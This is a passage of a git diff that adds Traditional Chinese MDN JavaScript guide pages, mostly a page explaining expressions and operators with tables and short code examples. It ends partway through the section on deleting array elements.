+dennis.machine == "hugo"
+dennis.hobby == "scuba"
+</pre>
+
+<p><code>dennis</code> 確實從 <code>Hobbyist</code> 建構函數中獲得了 <code>hobby</code> 屬性。但是，假設添加了一個屬性到 <code>Hobbyist</code> 建構函數的原型：</p>
+
+<pre class="brush: js">Hobbyist.prototype.equipment = ["mask", "fins", "regulator", "bcd"]
+</pre>
+
+<p><code>dennis</code> 物件不會繼承這個新屬性。</p>
+
+<div>{{ PreviousNext("JavaScript/Guide/Predefined_Core_Objects", "JavaScript/Guide/Inheritance_Revisited") }}</div>
diff --git a/files/zh-tw/web/javascript/guide/expressions_and_operators/index.html b/files/zh-tw/web/javascript/guide/expressions_and_operators/index.html
new file mode 100644
index 0000000000..2792b5682a
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/expressions_and_operators/index.html
@@ -0,0 +1,934 @@
+---
+title: 運算式與運算子
+slug: Web/JavaScript/Guide/Expressions_and_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div>
+
+<p class="summary">這個章節將講述 JavaScript 的運算式與運算子，包括賦值運算子，比較運算子，算術運算子，位元運算子， 邏輯運算子, 字串運算子, 條件(三元)運算子 以及更多運算子.</p>
+
+<p>更多關於運算子以及運算式的資料可以在 <a href="/en-US/docs/Web/JavaScript/Reference/Operators">reference</a> 中找到。</p>
+
+<h2 id="運算子">運算子</h2>
+
+<p>JavaScript 有以下幾種運算子。 此處將描述運算子以及一些運算子的優先順序。</p>
+
+<ul>
+ <li>{{ web.link("#賦值運算子", "賦值運算子") }}</li>
+ <li>{{ web.link("#比較運算子", "比較運算子") }}</li>
+ <li>{{ web.link("#算術運算子", "算術運算子") }}</li>
+ <li>{{ web.link("#位元運算子", "位元運算子") }}</li>
+ <li>{{ web.link("#邏輯運算子", "邏輯運算子") }}</li>
+ <li>{{ web.link("#字串運算子", "字串運算子") }}</li>
+ <li>{{ web.link("#條件(三元)運算子", "條件(三元)運算子")}}</li>
+ <li>{{ web.link("#逗點運算子", "逗點運算子")}}</li>
+ <li>{{ web.link("#一元運算子", "一元運算子")}}</li>
+ <li>{{ web.link("#關係運算子", "關係運算子")}}</li>
+</ul>
+
+<p>JavaScript 同時具有二元運算子及一元運算子， 以及一種特殊的 三元運算子，也就是 條件運算子。 一個二元運算子需要具備兩個運算元， 一個在運算元之前，一個在運算元之後:</p>
+
+<pre class="syntaxbox notranslate"><em>運算元1</em> <em>運算子</em> <em>運算元2</em>
+</pre>
+
+<p>例如, <code>3+4</code> 或 <code>x*y</code>.</p>
+
+<p>一個 一元運算子 需要一個運算元， 位於運算子之前或之後:</p>
+
+<pre class="syntaxbox notranslate"><em>運算子</em> <em>運算元</em>
+</pre>
+
+<p>或</p>
+
+<pre class="syntaxbox notranslate"><em>運算元 運算子</em>
+</pre>
+
+<p>例如， <code>x++</code> 或 <code>++x</code>.</p>
+
+<h3 id="賦值運算子">賦值運算子</h3>
+
+<p>一個 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">賦值運算子</a> 將 基於其 右方的運算元 的值賦予其 左方的運算元。 最簡單的 賦值運算子 是 等於 (<code>=</code>)， 它將賦予 左方運算元 與 右方運算元相同之值。 也就是， <code>x = y</code> 會把y的值賦予給x。</p>
+
+<p>也有一些復合的 賦值運算子 是為了縮短下面表中的運算:</p>
+
+<table class="standard-table">
+ <caption>復合運算子</caption>
+ <thead>
+  <tr>
+   <th>名稱</th>
+   <th>簡化的運算子</th>
+   <th>意義</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment">賦值</a></td>
+   <td><code>x = y</code></td>
+   <td><code>x = y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Addition_assignment">加法</a><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment">賦值</a></td>
+   <td><code>x += y</code></td>
+   <td><code>x = x + y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Subtraction_assignment">減法</a><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment">賦值</a></td>
+   <td><code>x -= y</code></td>
+   <td><code>x = x - y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Multiplication_assignment">乘法</a><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment">賦值</a></td>
+   <td><code>x *= y</code></td>
+   <td><code>x = x * y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Division_assignment">除法</a><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment">賦值</a></td>
+   <td><code>x /= y</code></td>
+   <td><code>x = x / y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Remainder_assignment">餘數</a><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment">賦值</a></td>
+   <td><code>x %= y</code></td>
+   <td><code>x = x % y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Exponentiation_assignment">指數</a><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment">賦值</a></td>
+   <td><code>x **= y</code></td>
+   <td><code>x = x ** y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Left_shift_assignment">左移賦值</a></td>
+   <td><code>x &lt;&lt;= y</code></td>
+   <td><code>x = x &lt;&lt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Right_shift_assignment">右移賦值</a></td>
+   <td><code>x &gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Unsigned_right_shift_assignment">無號右移賦值</a></td>
+   <td><code>x &gt;&gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Bitwise_AND_assignment">位元 AND 賦值</a></td>
+   <td><code>x &amp;= y</code></td>
+   <td><code>x = x &amp; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Bitwise_XOR_assignment">位元 XOR 賦值</a></td>
+   <td><code>x ^= y</code></td>
+   <td><code>x = x ^ y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Bitwise_OR_assignment">位元 OR 賦值</a></td>
+   <td><code>x |= y</code></td>
+   <td><code>x = x | y</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="解構">解構</h4>
+
+<p>為了進行更複雜的賦值，<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">解構賦值</a>是 JavaScript 用來從陣列或物件中提取資料的語法。</p>
+
+<pre class="brush: js notranslate">var foo = ['one', 'two', 'three'];
+
+// 不使用解構
+var one   = foo[0];
+var two   = foo[1];
+var three = foo[2];
+
+// 使用解構
+var [one, two, three] = foo;</pre>
+
+<h3 id="比較運算子">比較運算子</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">比較運算子</a> 會比較 運算元 並基於比較的結果回傳邏輯值。 運算元可以是數字，字串，邏輯，或物件的值。 字串的比較是基於字典序的， 使用 Unicode 的值。 在多數情況下，假如兩個運算元不具有相同型態， JavaScript 會嘗試將它們轉換成相同型態。這個行為通常是將運算元以數學形式對待。 在某些的轉換型態的例外中會使用到 <code>===</code> 及 <code>!==</code> 運算子， 它們會嚴格地進行相等或不相等的比較。 這些運算子不會在確認相等與否前嘗試轉換運算元的型態。 下面的表解釋了比較運算子:</p>
+
+<pre class="brush: js notranslate">var var1 = 3;
+var var2 = 4;
+</pre>
+
+<table class="standard-table">
+ <caption>比較運算子</caption>
+ <thead>
+  <tr>
+   <th scope="col">運算子</th>
+   <th scope="col">描述</th>
+   <th scope="col">會回傳True的例子</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">等於</a> (<code>==</code>)</td>
+   <td>假如運算元等價就回傳True。</td>
+   <td><code>3 == var1</code>
+    <p><code>"3" == var1</code></p>
+    <code>3 == '3'</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality">不等於</a> (<code>!=</code>)</td>
+   <td>假如運算元等價就回傳True。</td>
+   <td><code>var1 != 4<br>
+    var2 != "3"</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">嚴格等於</a> (<code>===</code>)</td>
+   <td>假如運算元具有相同型態且等價則回傳True。參考 {{jsxref("Object.is")}} 及 <a href="/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness" title="/en-US/docs/Web/JavaScript/Guide/Sameness">JS中的等價性</a>。</td>
+   <td><code>3 === var1</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity">嚴格不等於</a> (<code>!==</code>)</td>
+   <td>假如運算元具有相同型態但不等價，或是具有不同型態，回傳True。</td>
+   <td><code>var1 !== "3"<br>
+    3 !== '3'</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator">大於</a> (<code>&gt;</code>)</td>
+   <td>假如左方運算元大於右方運算元，回傳True。</td>
+   <td><code>var2 &gt; var1<br>
+    "12" &gt; 2</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator">大於或等於</a> (<code>&gt;=</code>)</td>
+   <td>假如左方運算元大於或等於右方運算元，回傳True。</td>
+   <td><code>var2 &gt;= var1<br>
+    var1 &gt;= 3</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator">小於</a> (<code>&lt;</code>)</td>
+   <td>假如左方運算元小於右方運算元，回傳True。</td>
+   <td><code>var1 &lt; var2<br>
+    "2" &lt; 12</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_or_equal_operator">小於或等於</a> (<code>&lt;=</code>)</td>
+   <td>假如左方運算元小於或等於右方運算元，回傳True。</td>
+   <td><code>var1 &lt;= var2<br>
+    var2 &lt;= 5</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>筆記: </strong>(<strong>=&gt;)不是運算子，是</strong> <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">箭頭函式。</a></p>
+</div>
+
+<h3 id="算術運算子">算術運算子</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">算術運算子</a> 以 數值 (文字或變數也可以)作為其運算元，並回傳單一數值。最常見的算術運算元是 加法 (<code>+</code>)，減法 (<code>-</code>)， 乘法 (<code>*</code>)，及除法 (<code>/</code>)。 這些運算子在大多數程式語言中功能相同 (比較特別的是，在除數為0時 {{jsxref("Infinity")}})。例如:</p>
+
+<pre class="brush: js notranslate">1 / 2; // 0.5
+1 / 2 == 1.0 / 2.0; // 會是 true
+</pre>
+
+<p>除了標準的算術運算子外 (+, -, * /)， JavaScript 提供以下表中的算術運算子:</p>
+
+<table class="fullwidth-table">
+ <caption>算術運算子</caption>
+ <thead>
+  <tr>
+   <th scope="col">運算子</th>
+   <th scope="col">描述</th>
+   <th scope="col">範例</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder">取餘數</a> (<code>%</code>)</td>
+   <td>二元運算子。回傳兩個運算元相除後的餘數。</td>
+   <td>12 % 5 回傳 2.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">增加</a> (<code>++</code>)</td>
+   <td>一元運算子。 將運算元增加1。假如使用在運算元之前 (<code>++x</code>)，會運算元回傳增加1後的值;假如使用在運算元之後。 (<code>x++</code>)<code>，</code> 會回傳運算元加1前的值。</td>
+   <td>假如 <code>x是</code> 3，那 <code>++x</code> 將把 <code>x</code> 設定為 4 並回傳 4，而 <code>x++ 會回傳</code> 3 ， 接著才把 <code>x 設定為</code> 4。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement">減少</a> (<code>--</code>)</td>
+   <td>一元運算子。 將運算元減少1。回傳值的情況與 增加運算元 相同。</td>
+   <td>假如 <code>x是</code> 3，那 <code>--x</code> 將把 <code>x</code> 設定為 2 並回傳 2，而 <code>x-- 會回傳</code> 3 ， 接著才把 <code>x 設定為</code> 2。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation">(一元運算子)減號</a> (<code>-</code>)</td>
+   <td>一元運算子。回傳運算元的負數。</td>
+   <td>假如x是3，-x 回傳 -3。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus">(一元運算子)加號</a> (<code>+</code>)</td>
+   <td>一元運算子。嘗試將運算元轉換成數字，假如它還不是數字的話。</td>
+   <td><code>+"3"</code> <code>回傳 3</code>。<br>
+    <code>+true</code> 回傳 <code>1.</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation">指數運算子</a> (<code>**</code>) {{experimental_inline}}</td>
+   <td>計算以 a 為底的 <code>b</code> 次方， 也就是, a<code><sup>b</sup></code></td>
+   <td><code>2 ** 3</code> <code>回傳 8</code>.<br>
+    <code>10 ** -1</code> 回傳 <code>0.1</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="位元運算子">位元運算子</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">位元運算子</a> 把運算元當作 32 位元的集合來看待 (0和1)， 而不是十進位，十六進位，或八進位。例如，十進位數字 9 以二進位表示就是  1001。 位元運算子將運算元以上述二進位的形式處理，但是回傳 Javascript 中的數字類型值。</p>
+
+<p>下列表總結了 JavaScript' 中的位元運算子。</p>
+
+<table class="standard-table">
+ <caption>位元運算子</caption>
+ <thead>
+  <tr>
+   <th scope="col">運算子</th>
+   <th scope="col">用法</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND">位元 AND</a></td>
+   <td><code>a &amp; b</code></td>
+   <td>回傳兩個運算元對於每個bit做AND的結果。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR">位元 OR</a></td>
+   <td><code>a | b</code></td>
+   <td>回傳兩個運算元對於每個bit做OR的結果。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">位元 XOR</a></td>
+   <td><code>a ^ b</code></td>
+   <td>回傳兩個運算元對於每個bit做XOR的結果。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT">位元 NOT</a></td>
+   <td><code>~ a</code></td>
+   <td>將運算元中的每個bit反轉(1-&gt;0,0-&gt;1)。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Left_shift">左移</a></td>
+   <td><code>a &lt;&lt; b</code></td>
+   <td>將 <code>a</code> 的每個bit向左移動 <code>b</code> 個bits，空餘的位數以0填滿。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Right_shift">有號右移</a></td>
+   <td><code>a &gt;&gt; b</code></td>
+   <td>將 <code>a</code> 的每個bit向右移動 <code>b</code> 個bits，空餘位數以最高位補滿。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Unsigned_right_shift">以0填充的右移</a></td>
+   <td><code>a &gt;&gt;&gt; b</code></td>
+   <td>將 <code>a</code> 的每個bit向右移動 <code>b</code> 個bits，空餘的位數以0填滿。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Bitwise_Logical_Operators" name="Bitwise_Logical_Operators">位元邏輯運算子</h4>
+
+<p>概念上，位元邏輯運算子運作過程如下:</p>
+
+<ul>
+ <li>運算元被轉換為32 bits 的整數以二進位形式表示 (0 和 1)。大於 32 bits 的數字將被捨棄多出來的位元。例如， 下列整數大於32個bit但是會被轉換為32個bit的整數:
+  <pre class="notranslate">轉換之前:  11100110111110100000000000000110000000000001
+轉換之後:              10100000000000000110000000000001</pre>
+ </li>
+ <li>第一個運算元中的每個bit分別對應到第二個運算元的每個bit: 第一個 bit 對 第一個 bit, 第二個 bit 對 第二個 bit， 以此類推。</li>
+ <li>運算子會對於 bit 進行運算， 結果也是基於bit 來決定的。</li>
+</ul>
+
+<p>例如， 9 的二元表示法是 1001， 15 的二元表示法是 1111。因此，在使用位元運算子的時候，結果如下:</p>
+
+<table class="standard-table">
+ <caption>位元運算子範例</caption>
+ <thead>
+  <tr>
+   <th scope="col">運算式</th>
+   <th scope="col">結果</th>
+   <th scope="col">二元描述式</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>15 &amp; 9</code></td>
+   <td><code>9</code></td>
+   <td><code>1111 &amp; 1001 = 1001</code></td>
+  </tr>
+  <tr>
+   <td><code>15 | 9</code></td>
+   <td><code>15</code></td>
+   <td><code>1111 | 1001 = 1111</code></td>
+  </tr>
+  <tr>
+   <td><code>15 ^ 9</code></td>
+   <td><code>6</code></td>
+   <td><code>1111 ^ 1001 = 0110</code></td>
+  </tr>
+  <tr>
+   <td><code>~15</code></td>
+   <td><code>-16</code></td>
+   <td><code>~</code><code>00000000...</code><code>00001111 = </code><code>1111</code><code>1111</code><code>...</code><code>11110000</code></td>
+  </tr>
+  <tr>
+   <td><code>~9</code></td>
+   <td><code>-10</code></td>
+   <td><code>~</code><code>00000000</code><code>...</code><code>0000</code><code>1001 = </code><code>1111</code><code>1111</code><code>...</code><code>1111</code><code>0110</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>注意，在使用 位元NOT 運算子時， 所有的32個bit都被進行NOT了，包含最左邊用來描述正負數的位元(two's-complement representation)。</p>
+
+<h4 id="Bitwise_Shift_Operators" name="Bitwise_Shift_Operators">位元移動運算子</h4>
+
+<p>位元移動運算子需要兩個運算元: 第一個是運算的目標，第二個是要移動的位元數。移動的方向取決於使用的運算子。</p>
+
+<p>移動運算子會將運算元轉換成32 bits的整數，並且會回傳與左方運算元相同的型態。</p>
+
+<p>移動運算子在下表被列出.</p>
+
+<table class="fullwidth-table">
+ <caption>位元移動運算子</caption>
+ <thead>
+  <tr>
+   <th scope="col">運算子</th>
+   <th scope="col">描述</th>
+   <th scope="col">範例</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#&lt;&lt;_(Left_shift)">左移</a><br>
+    (<code>&lt;&lt;</code>)</td>
+   <td>這個運算子會將第 一個運算元的每個bit向左移動 第二個運算元所指定的bit數量。左邊超出的位數會被捨棄，右邊空出的位數以0補齊。</td>
+   <td><code>9&lt;&lt;2</code> 得到 36，因為1001 向左移動 2 bits 會得到 100100， 也就是二進位的 36。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#>>_(Sign-propagating_right_shift)">有號右移</a> (<code>&gt;&gt;</code>)</td>
+   <td>這個運算子會將第 一個運算元的每個bit向右移動 第二個運算元所指定的bit數量。右邊超出的位數會被捨棄，左邊空出的位數以最高位補齊。</td>
+   <td><code>9&gt;&gt;2</code> 得到 2，因為 1001 向右移動 2 bits 會得到 10，也就是二進位的 2。 相同的， <code>-9&gt;&gt;2</code> 會得到 -3，因為最高位用來表示正負號的bit被保留了。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#>>>_(Zero-fill_right_shift)">以0填充的右移</a> (<code>&gt;&gt;&gt;</code>)</td>
+   <td>這個運算子會將第 一個運算元的每個bit向右移動 第二個運算元所指定的bit數量。右邊超出的位數會被捨棄，左邊空出的位數以0補齊。</td>
+   <td><code>19&gt;&gt;&gt;2 得到</code> 4， 因為 10011 向右移動 2 bits 會得到 100，是二進位的 4。對於非負的數字而言， 以0填充的右移 會得到和 有號右移相同的結果。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="邏輯運算子">邏輯運算子</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators">邏輯運算子</a> 通常被用於布林(邏輯)值; 使用於 布林(邏輯)值時， 它們會回傳布林型態的值。 然而，<code>&amp;&amp;</code> 和 <code>||</code> 運算子實際上是回傳兩指定運算元之一，因此用於非布林型態值時，它可能會回傳一個非布林型態的值。 邏輯運算子將在下表中被詳細解釋。</p>
+
+<table class="fullwidth-table">
+ <caption>Logical operators</caption>
+ <thead>
+  <tr>
+   <th scope="col">Operator</th>
+   <th scope="col">Usage</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND">邏輯 AND</a><code> </code>(<code>&amp;&amp;</code>)</td>
+   <td><code>運算式1 &amp;&amp; 運算式2</code></td>
+   <td>假如<code> 運算式1</code> 可以被轉換成 false的話，回傳 <code>運算式1</code>; 否則，回傳 <code>運算式2</code>。 因此，<code>&amp;&amp;</code>只有在 兩個運算元都是True 時才會回傳 True，否則回傳<code> false</code>。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR">邏輯 OR </a>(<code>||</code>)</td>
+   <td><code>運算式1 || 運算式2</code></td>
+   <td>假如<code> 運算式1</code> 可以被轉換成 true的話，回傳 <code>運算式1</code>; 否則，回傳 <code>運算式2</code>。 因此，<code>||</code>在 兩個運算元有任一個是True 時就會回傳 True，否則回傳<code> false</code>。</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">邏輯 NOT </a>(<code>!</code>)</td>
+   <td><code>!運算式</code></td>
+   <td>假如單一個運算元能被轉換成True時，回傳<code>false</code> ， 不然回傳 <code>true</code>。</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>可以被轉換為 false 的運算式是 null， 0， NaN， 空字串 ("")，或 未定義。</p>
+
+<p>下面是 <code>&amp;&amp;</code> (邏輯 AND) 運算子 的範例。</p>
+
+<pre class="brush: js notranslate">var a1 =  true &amp;&amp; true;     // t &amp;&amp; t 回傳 true
+var a2 =  true &amp;&amp; false;    // t &amp;&amp; f 回傳 false
+var a3 = false &amp;&amp; true;     // f &amp;&amp; t 回傳 false
+var a4 = false &amp;&amp; (3 == 4); // f &amp;&amp; f 回傳 false
+var a5 = "Cat" &amp;&amp; "Dog";    // t &amp;&amp; t 回傳 Dog
+var a6 = false &amp;&amp; "Cat";    // f &amp;&amp; t 回傳 false
+var a7 = "Cat" &amp;&amp; false;    // t &amp;&amp; f 回傳 false
+</pre>
+
+<p>下列是 || (邏輯 OR) 運算子的範例。</p>
+
+<pre class="brush: js notranslate">var o1 =  true || true;     // t || t 回傳 true
+var o2 = false || true;     // f || t 回傳 true
+var o3 =  true || false;    // t || f 回傳 true
+var o4 = false || (3 == 4); // f || f 回傳 false
+var o5 = 'Cat' || 'Dog';    // t || t 回傳 Cat
+var o6 = false || 'Cat';    // f || t 回傳 Cat
+var o7 = 'Cat' || false;    // t || f 回傳 Cat
+</pre>
+
+<p>下列是 ! (邏輯 NOT) 運算子的範例。</p>
+
+<pre class="brush: js notranslate">var n1 = !true;  // !t 回傳 false
+var n2 = !false; // !f 回傳 true
+var n3 = !'Cat'; // !t 回傳 false
+</pre>
+
+<h4 id="Short-Circuit_Evaluation" name="Short-Circuit_Evaluation">短路解析</h4>
+
+<p>邏輯運算式是由左向右解析的， 他們會以下列規則嘗試進行 短路解析:</p>
+
+<ul>
+ <li><code>false</code> &amp;&amp;<em> 任何東西  </em> 是 false 的短路解析。</li>
+ <li><code>true</code> || <em>任何東西  </em> 是 true 的短路解析。</li>
+</ul>
+
+<p>這些規則保證 解析總是正確的。 值得注意的地方是，剩餘部分的運算式並沒有被解析，所以不會占用任何效能。</p>
+
+<h3 id="字串運算子">字串運算子</h3>
+
+<p>除了作為比較運算子之外， 運算子 (+) 也能用於字串，將兩字串接在一起，並回傳接在一起後的結果。</p>
+
+<p>例如，</p>
+
+<pre class="brush: js notranslate">console.log('我的 ' + '字串'); // 會印出 字串 "我的字串"。</pre>
+
+<p>簡化的設定運算子 += 也能用於串接字串。</p>
+
+<p>例如，</p>
+
+<pre class="brush: js notranslate">var mystring = '字';
+mystring += '母'; // 得到 "字母" 並賦與給變數 mystring.</pre>
+
+<h3 id="條件（三元）運算子">條件（三元）運算子</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">條件運算子</a> 是 JavaScript 中唯一需要三個運算元的運算子。 這個運算子接受兩個運算元作為值且一個運算元作為條件。 語法是:</p>
+
+<pre class="syntaxbox notranslate"><em>條件</em> ? <em>值1</em> : <em>值2</em>
+</pre>
+
+<p>如果 <em>條件</em> 為 true，運算子回傳 <em>值1，</em> 否則回傳 <em>值2。</em> 你可以在任何使用標準運算子的地方改用 條件運算子。</p>
+
+<p>例如，</p>
+
+<pre class="brush: js notranslate">var status = (age &gt;= 18) ? '成人' : '小孩';
+</pre>
+
+<p>這個陳述句會將 "成人" 賦與給變數 <code>status</code> 假如 <code>age</code> 大於等於18。 否則，會將 "小孩" 賦與給變數 <code>status</code>。</p>
+
+<h3 id="Comma_operator" name="Comma_operator">逗號運算子</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator">逗點運算子</a> (<code>,</code>) 作用是解析兩個運算元並回傳後面那個運算元的值。 這個運算子通常用於for迴圈內部，讓多個變數能在每次迴圈中被更新。</p>
+
+<p>例如，假如 <code>a</code> 是一個有十個物件在裡面的二維陣列， 下面的程式中就使用了逗點運算子來同時更新兩個變數。 這段程式碼會印出陣列中所有對角線上的物件:</p>
+
+<pre class="brush: js notranslate">for (var i = 0, j = 9; i &lt;= j; i++, j--)
+  console.log('a[' + i + '][' + j + ']= ' + a[i][j]);
+</pre>
+
+<h3 id="一元運算子">一元運算子</h3>
+
+<p>一元運算 是只需要一個運算元的運算。</p>
+
+<h4 id="delete" name="delete"><code>delete</code></h4>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 運算子會刪除物件，物件的性質，或是陣列中指定 index 的物件。 語法是:</p>
+
+<pre class="brush: js notranslate">delete 物件名稱;
+delete 物件名稱.性質;
+delete 物件名稱[索引];
+delete 性質; // 只有在 with 陳述句中可以使用
+</pre>
+
+<p><code>物件名稱</code> 是物件的名稱， 性質 是物件中的一個特性， 索引 是用來表示物件在陣列中位置的一個整數。</p>
+
+<p>第四種形式只有在 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> 陳述句中可用， 用來刪除物件中的一個特性。</p>
+
+<p>你可以用 <code>delete</code> 運算子來刪除隱式宣告的變數， 但不適用於使用 var 宣告的變數。</p>
+
+<p>假如 <code>delete</code> 運算子使用成功， 它會將物件 或是 物件的特性設定為 <code>未定義。</code> <code>delete</code> 運算子會在運算成功時回傳 true ，失敗時回傳 <code>false</code> 。</p>
+
+<pre class="brush: js notranslate">x = 42;
+var y = 43;
+myobj = new Number();
+myobj.h = 4;    // 建立特性 h
+delete x;       // 回傳 true (只有在隱式宣告時能被刪除)
+delete y;       // 回傳 false (在使用 var 宣告時無法刪除)
+delete Math.PI; // 回傳 false (不能刪除內建定義的特性)
+delete myobj.h; // 回傳 true (可以刪除使用者自定義的特性)
+delete myobj;   // 回傳 true (在隱式宣告時可被刪除)
+</pre>
+
+<h5 id="刪除陣列元素">刪除陣列元素</h5>
+
+<p>在你刪除了陣列中的一個元素後， 陣列的長度並不會改變。 例如， 假如你<code>刪除 a[3]</code>， <code>a[4]</code> 依然是 <code>a[4]</code> 而 <code>a[3]</code> 為 未定義。</p>
+
